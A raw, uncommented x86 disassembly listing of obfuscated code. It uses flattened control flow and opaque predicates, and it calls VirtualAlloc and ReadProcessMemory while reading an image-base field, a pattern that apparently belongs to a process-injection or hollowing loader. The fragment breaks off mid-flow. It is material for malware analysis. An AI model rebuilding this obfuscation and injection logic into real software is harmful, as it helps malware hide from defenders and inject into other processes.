mov eax, dword [0x10064b34]
mov edx, ecx
sub edx, 0x374b22cf
sub edx, 1
add edx, 0x374b22cf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x276c75bc
mov ecx, 0x3ad3346c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x10004936
mov dword [ebp - 0x160], 0xcc91f13a
jmp 0x10004936
mov dword [ebp - 0x160], 0xb114af08
jmp 0x10004936
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005020
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x160], 0xbe81d1fb
jmp 0x10004936
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [eax], 0x10007
mov dword [ebp - 0x160], 0xc2f0bb78
jmp 0x10004936
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x160], 0xda446f72
jmp 0x10004936
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x34]
add ecx, 0xa35e5da4
sub ecx, eax
sub ecx, 0xa35e5da4
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov dword [ebp - 0x160], 0x52a109f7
jmp 0x10004936
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x160], 0xcb9eb4db
jmp 0x10004936
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x160], 0x693742b3
jmp 0x10004936
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x8c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x160], 0x9f07c897
jmp 0x10004936
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x80]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0x8eaaa01f
jmp 0x10004936
jmp 0x10002330